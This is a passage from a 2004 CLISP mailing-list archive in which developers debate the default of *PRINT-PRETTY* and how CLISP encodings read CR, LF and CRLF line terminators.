specifications such as: Variable *PRINT-PRETTY* Value Type: a generalized boolean. Initial Value: implementation-dependent. ^^^^^^^^^^^^^^^^^^^^^^^^ I understand it to mean that I must put a: (SETQ *PRINT-PRETTY* T) [or NIL, YMMV] in my ~/.common.lisp file that is loaded by my various common-lisp rc files. When I see the same, as an implementer, I undestand that I can put: (SETQ *PRINT-PRETTY* (< (IF (NEW-MOON-P (GET-UNIVERSAL-TIME)) 0.3 0.7) (RANDOM 1.0))) in my implementation initialization. I think it's quite futile to have users vote at one time to change the arbitrary default implemented, whatever it may be. Next year the user set will have changed and their preference too probably. It would be more useful to prepare and distribute a template of .clisprc.lisp containing assignments to all the COMMON-LISP variables that have an implementation-dependant initial value. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Tue Mar 16 13:50:43 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3MSR-0002NZ-6S for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 13:50:43 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3MSO-0003ST-NO for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 13:50:41 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2GLoOtk018523; Tue, 16 Mar 2004 16:50:25 -0500 (EST) To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16471.29480.934173.197821@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Tue, 16 Mar 2004 22:35:36 +0100") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16470.65522.872856.265165@thalassa.informatimago.com> <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> <16471.13594.473607.47192@isis.cs3-inc.com> <16471.21947.920678.581129@isis.cs3-inc.com> <16471.29480.934173.197821@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.127 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 13:51:04 2004 X-Original-Date: Tue, 16 Mar 2004 16:50:24 -0500 > * Pascal J.Bourguignon [2004-03-16 22:35:36 +0100]: > >> which default do you want to change? >> we can have a vote. >> if the majority wants a different default, it will be changed. >> (not in 2.33, that's too close, but in 2.34). > > > When I, as a user, see in the standard specifications such as: > > Variable *PRINT-PRETTY* I was talking about clisp-specific CUSTOM:*PPRINT-FIRST-NEWLINE*, not *PRINT-PRETTY*. the initial value of *PRINT-PRETTY* is not up to a discussion. > It would be more useful to prepare and distribute a template of > .clisprc.lisp containing assignments to all the COMMON-LISP variables > that have an implementation-dependant initial value. (apropos "" "CUSTOM") . -- Sam Steingold (http://www.podval.org/~sds) running w2k What's the difference between Apathy & Ignorance? -I don't know and don't care! From don-sourceforgexx@isis.cs3-inc.com Tue Mar 16 14:05:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3Mgl-0005p6-6h for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 14:05:31 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3Mgi-0007qA-U7 for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 14:05:29 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2GM02F09381 for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 14:00:02 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16471.30946.394013.755309@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16470.65522.872856.265165@thalassa.informatimago.com> <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> <16471.13594.473607.47192@isis.cs3-inc.com> <16471.21947.920678.581129@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 14:06:08 2004 X-Original-Date: Tue, 16 Mar 2004 14:00:02 -0800 Sam Steingold writes: > the status of a character is determined by its Unicode properties. > what is your question, specifically? > (and what is "syntax class"?) What I expected (from many earlier lisp implementations, which of course did not know about unicode) was that all characters other than a special few would act like #\A. So it took a while to realize that the error message claiming to be from read was really from read! > if I get an encoding error, it is a welcome indication that I have bad data. My data is not under my control in this case. It's really bytes that others (mostly "attackers") send to my server. But can you blame me for wanting to view it as 8bit characters? > which default do you want to change? *print-pretty* should be nil (as it is in every other lisp I have used) > > > > > > > I'm glad to see it. I'd like to vote for it. > > I realize that the vote that would really count is a patch. > > before a vote or a patch can be discussed, we need a clear proposal. > At this time I just do not see a way to make a change which would... > > 1. be generally consistent with Common Lisp standard and culture > > 2. would be helpful to the users in any way. I propose a new datum on an encoding that controls how newline data is read. At least one possible value should be that cr and lf result in separate characters. I suppose, depending on the line terminator value one of them could return #\newline and the other could be either #\return or #\linefeed. I'd actually like one to be #\return and the other to be #\linefeed. From sds@gnu.org Tue Mar 16 14:52:02 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3NPl-00083f-OI for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 14:52:01 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3NPj-0002SR-Ta for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 14:52:00 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2GMpdtk002973; Tue, 16 Mar 2004 17:51:39 -0500 (EST) To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16471.30946.394013.755309@isis.cs3-inc.com> (Don Cohen's message of "Tue, 16 Mar 2004 14:00:02 -0800") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16470.65522.872856.265165@thalassa.informatimago.com> <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> <16471.13594.473607.47192@isis.cs3-inc.com> <16471.21947.920678.581129@isis.cs3-inc.com> <16471.30946.394013.755309@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen), bruno Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.349 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 14:53:11 2004 X-Original-Date: Tue, 16 Mar 2004 17:51:39 -0500 > * Don Cohen [2004-03-16 14:00:02 -0800]: > > > if I get an encoding error, it is a welcome indication that I have bad data. > My data is not under my control in this case. It's really bytes that > others (mostly "attackers") send to my server. But can you blame me > for wanting to view it as 8bit characters? yes. bytes are bytes, characters are characters. when attackers are trying to exploit a vulnerability (such as a buffer overflow), what they send is bytes, not characters. OTOH, if what is being written into the log file is actually characters (encoded by your application in, say, utf-8), then you should read they as such, using the encoding which the application which created the file used. > > which default do you want to change? > *print-pretty* should be nil > (as it is in every other lisp I have used) I will leave this to Bruno. > > > > > > > > > > I'm glad to see it. I'd like to vote for it. > > > I realize that the vote that would really count is a patch. > > > > before a vote or a patch can be discussed, we need a clear proposal. > > At this time I just do not see a way to make a change which would... > > > > 1. be generally consistent with Common Lisp standard and culture > > > > 2. would be helpful to the users in any way. > > I propose a new datum on an encoding that controls how newline data is > read. At least one possible value should be that cr and lf result in > separate characters. I suppose, depending on the line terminator > value one of them could return #\newline and the other could be either > #\return or #\linefeed. I'd actually like one to be #\return and the > other to be #\linefeed. you appear to have missed the whole point of mine. please read my two messages referred to in the RFE above and explain here - or in a comment to the RFE - what behavior, and _why_(!), you consider correct in the specific cases I mention there. specifically, is it OK for READ-LINE to return a string with an embedded newline? why? why not? how do you propose to avoid it if you do not consider to OK? -- Sam Steingold (http://www.podval.org/~sds) running w2k A computer scientist is someone who fixes things that aren't broken. From dgou@mac.com Tue Mar 16 15:51:08 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3OKy-0004wt-PF for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 15:51:08 -0800 Received: from a17-250-248-85.apple.com ([17.250.248.85] helo=smtpout.mac.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3OKv-0004K9-4T for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 15:51:05 -0800 Received: from mac.com (smtpin01-en2 [10.13.10.146]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id i2GNp6Ex011081 for ; Tue, 16 Mar 2004 15:51:06 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin01/MantshX 3.0) with ESMTP id i2GNp5vH008888 for ; Tue, 16 Mar 2004 15:51:06 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Douglas Philips To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.612) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Modules delivered? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 15:52:02 2004 X-Original-Date: Tue, 16 Mar 2004 18:51:04 -0500 On Mar 16, 2004, at 3:37 PM, Sam Steingold wrote: > The following modules come with the distribution of CLISP: > regexp > > The POSIX Regular Expressions matching, compiling, executing. What about pcre? Seems like that list is out of date? To: clisp-list@lists.sourceforge.net Cc: Bruno Haible In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16470.65522.872856.265165@thalassa.informatimago.com> <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8AE@G8PQD.blf01.telekom.de> <16471.13594.473607.47192@isis.cs3-inc.com> <16471.21947.920678.581129@isis.cs3-inc.com> <16471.30946.394013.755309@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 16:00:00 2004 X-Original-Date: Tue, 16 Mar 2004 15:53:38 -0800 > please read my two messages referred to in the RFE above and explain > here - or in a comment to the RFE - what behavior, and _why_(!), you > consider correct in the specific cases I mention there. > > specifically, is it OK for READ-LINE to return a string with an > embedded newline? why? why not? > how do you propose to avoid it if you do not consider to OK? To me the issue is what exactly is a newline. I don't think it has to be the same as #\return or #\linefeed. I think that if the line terminator mode is :unix then it should be ok for READ-LINE to return a string with an embedded #\return and if line terminator mode is :mac then it should be ok to return a string with #\linefeed, and if :dos then it should be ok to return a string with both of those (but not #\return followed immediately by #\linefeed). I can't tell for sure but it appears to me that currently in clisp (eq #\linefeed #\newline). I suggest that this not be the case, that newline, return and linefeed be three different characters, or alternatively, that whether (eq #\linefeed #\newline) is true should depend on the "current" line terminator mode. This gets into implementation issues that I don't know about. http://article.gmane.org/gmane.lisp.clisp.general/6970 with-open-file (s "foo.dos" :direction :output :element-type '(unsigned-byte 8)) (write-sequence (mapcar #'char-code '(#\f #\o #\o #\Newline #\b #\a #\r #\Return #\Newline)) s)) now, what should (with-open-file (s "foo.dos" :direction :input :element-type 'character :external-format :dos) (read-line s)) return? There's a problem here, which is that you write and read with different element types and different external format. I therefore think that lots of different answers are permissible. I think the first form should be interpreted according to some translation of newline and return into unsigned byte 8, and the second should be interpreted according to to some understanding of what the element type and external format mean for whatever was produced by the first form. You might reasonably argue that the right string to return is "foo\fbar". Unfortunately, "\f" (== (code-char 10)) is #\Newline in CLISP, so READ-LINE would return a string with an embedded newline, which, if not outright non-compliant, would be quite surprising to a user. Because of this problem, CLISP reads CR, LF and CRLF as #\Newline. http://article.gmane.org/gmane.lisp.clisp.general/4718 It has been requested on many occasions that CLISP provide an option to probably mostly by me treat CR/LF/CR+LF differently on character input (right now all three are read as #\Newline STREAM-ELEMENT-TYPE is CHARACTER). The answer to these requests has been to use binary i/o. 6 months ago it was suggested that a :LINE-TERMINATOR-STRICT-P option be added to the ENCODING object. The problem is that this feature will produce unexpected results: READ-LINE will return strings with embedded #\Newline! ANSI does not appear to forbid it. In CLISP, #\Newline is identical to #\Linefeed (which is specifically permitted by ). Therefore, if the file is exactly this string: (concatenate 'string "foo" (string #\Linefeed) "bar" (string #\Return) (string #\Linefeed)) and we open it with (setq e (make-encoding :charset "ascii" :line-terminator :dos :line-terminator-strict-p t)) (setq s (open "foo" :external-format e)) then the string returned by (READ-LINE s) will contain an embedded #\Newline between "foo" and "bar" (because a single #\Linefeed is not a #\Newline in the specified encoding, it will not make READ-LINE return, but it _is_ a CLISP #\Newline!) I'd like it to be #\return and for that not to be the same as #\newline. Therefore, files "foo" and "bar", written with (with-open-file (o "bar" :direction :output :external-format e) (with-open-file (i "foo" :external-format e) (write-line (read-line i) o))) ok, so they both use e which is strict dos So the read-line should return only one line containing a linefeed in the middle. Then the write-line should write only one line containing a linefeed in the middle. In both cases there will be a crlf at the end. Or am I missing something here? will be different: ---- foo ---- foo^Jbar ------------- ---- bar ---- foo bar ------------- We already have this behavior (unless the ENCODING's LINE-TERMINATOR is :UNIX), the point here is that :LINE-TERMINATOR-STRICT-P does _not_ fix this. Is anyone still interested in this :LINE-TERMINATOR-STRICT-P feature? Do you see any problems with the behavior I just described? From sds@gnu.org Tue Mar 16 16:00:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3OTl-00063D-KU for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 16:00:13 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3OTl-0002EV-7i for clisp-list@lists.sourceforge.net; Tue, 16 Mar 2004 16:00:13 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2H0029J017212; Tue, 16 Mar 2004 19:00:02 -0500 (EST) To: clisp-list@lists.sourceforge.net, Douglas Philips Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Douglas Philips's message of "Tue, 16 Mar 2004 18:51:04 -0500") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Douglas Philips Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Modules delivered? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 16 16:01:01 2004 X-Original-Date: Tue, 16 Mar 2004 19:00:02 -0500 > * Douglas Philips [2004-03-16 18:51:04 -0500]: > > On Mar 16, 2004, at 3:37 PM, Sam Steingold wrote: >> The following modules come with the distribution of CLISP: >> regexp >> >> The POSIX Regular Expressions matching, compiling, executing. > > What about pcre? > Seems like that list is out of date? just needs regeneration from xml sources. will be done for the release. -- Sam Steingold (http://www.podval.org/~sds) running w2k Oh Lord, give me the source code of the Universe and a good debugger! From bruno@clisp.org Wed Mar 17 04:28:39 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3aA2-0003sU-6u for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 04:28:38 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3aA0-0001zn-Uc for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 04:28:37 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2HCSPja013679; Wed, 17 Mar 2004 13:28:25 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2HCSOWR024280; Wed, 17 Mar 2004 13:28:24 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 11FA117889; Wed, 17 Mar 2004 12:23:09 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , don-sourceforgexx@isis.cs3-inc.com (Don Cohen) User-Agent: KMail/1.5 References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16471.30946.394013.755309@isis.cs3-inc.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403171323.07936.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 04:33:48 2004 X-Original-Date: Wed, 17 Mar 2004 13:23:07 +0100 Don Cohen proposed: > > *print-pretty* should be nil > > (as it is in every other lisp I have used) You have enough customizable variables, from *print-pretty* to the symbols in the CUSTOM package, that you can set in your .clisprc.lisp file. The default is set so that clisp becomes most useful to newbies, without customization. If all other Lisps look frightening to newbies, that's not a reason why clisp should look the same. Bruno From bruno@clisp.org Wed Mar 17 04:42:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3aN0-0007J7-CA for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 04:42:02 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3aMw-0000FV-JS for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 04:41:58 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2HCfqG9014070; Wed, 17 Mar 2004 13:41:52 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2HCfpWR025766; Wed, 17 Mar 2004 13:41:51 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id C07D81BA99; Wed, 17 Mar 2004 12:36:35 +0000 (UTC) From: Bruno Haible To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <16471.37762.949123.471680@isis.cs3-inc.com> In-Reply-To: <16471.37762.949123.471680@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403171336.34696.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: character sets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 04:43:45 2004 X-Original-Date: Wed, 17 Mar 2004 13:36:34 +0100 Don Cohen wrote: > I propose a new datum on an encoding that controls how newline data is > read. At least one possible value should be that cr and lf result in > separate characters. This muddles up the distinction between bytes and characters, thereby creating portability problems. > To me the issue is what exactly is a newline. > I don't think it has to be the same as #\return or #\linefeed. > I think that if the line terminator mode is :unix then it should > be ok for READ-LINE to return a string with an embedded #\return > and if line terminator mode is :mac then it should be ok to return > a string with #\linefeed, and if :dos then it should be ok to > return a string with both of those (but not #\return followed > immediately by #\linefeed). This is the way it's done in Java. And it's shitty: although the standard way to designate a string with an embedded newline is "foo\n", when you write a string to a file stream, you find out that stream.print("foo\n"); does not the same thing as stream.println("foo"); Even Microsoft, since the 1980's, has in its C library a hack in the fgetc() function that converts 0x0D 0x0A to "\n". Why? Because different external representations of some thing on different systems must not lead to different internal (in-memory) representations of it, otherwise programs become unportable. Bruno From bruno@clisp.org Wed Mar 17 12:15:00 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3hRL-0007GO-SL for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 12:14:59 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3hRK-0008Ef-TX for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 12:14:59 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2HKEn1C001210; Wed, 17 Mar 2004 21:14:49 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2HKEmWR018289; Wed, 17 Mar 2004 21:14:48 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 482773B386; Wed, 17 Mar 2004 20:09:32 +0000 (UTC) From: Bruno Haible To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net, Sam Steingold References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403171323.07936.bruno@clisp.org> <16472.36309.466307.283826@isis.cs3-inc.com> In-Reply-To: <16472.36309.466307.283826@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403172109.30911.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 12:16:07 2004 X-Original-Date: Wed, 17 Mar 2004 21:09:30 +0100 Don Cohen wrote: > it seems inevitable that if you try to map > multiple file representations to the same memory representation then > the reverse mapping will (and should) be one to many. The best you > can do is provide some way to control both the input and output > mappings. Yes. And in clisp this mapping is the ENCODING with its :LINE-TERMINATOR accessor. It allows you to accomodate different external representations for the same in-memory representation of #\Newline = (code-char 10). What you wanted in the last posting, was *different* in-memory representations of #\Newline. Which leads to unportable programs. This way, you would write Lisp programs that are less portable between Unix and Windows than the equivalent C programs! > Clearly my current solution is exactly what I want. > I read 8 bit bytes and then call code-char, using an encoding that > gives me 256 different characters for the 256 bytes. Such encodings are disappearing rapidly from the landscape. The use of code-char and char-code makes your program unable to support even the standard repertoire of characters required for English (because of the curly quotes...). > It just seems silly that this should be the best (maybe only) way > to get the desired result. You missed the functions CONVERT-STRING-TO-BYTES and CONVERT-BYTES-TO-STRING. Bruno From sds@gnu.org Wed Mar 17 12:30:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3hgD-0002S2-NN for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 12:30:22 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3hfc-0007wj-HV for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 12:29:44 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by 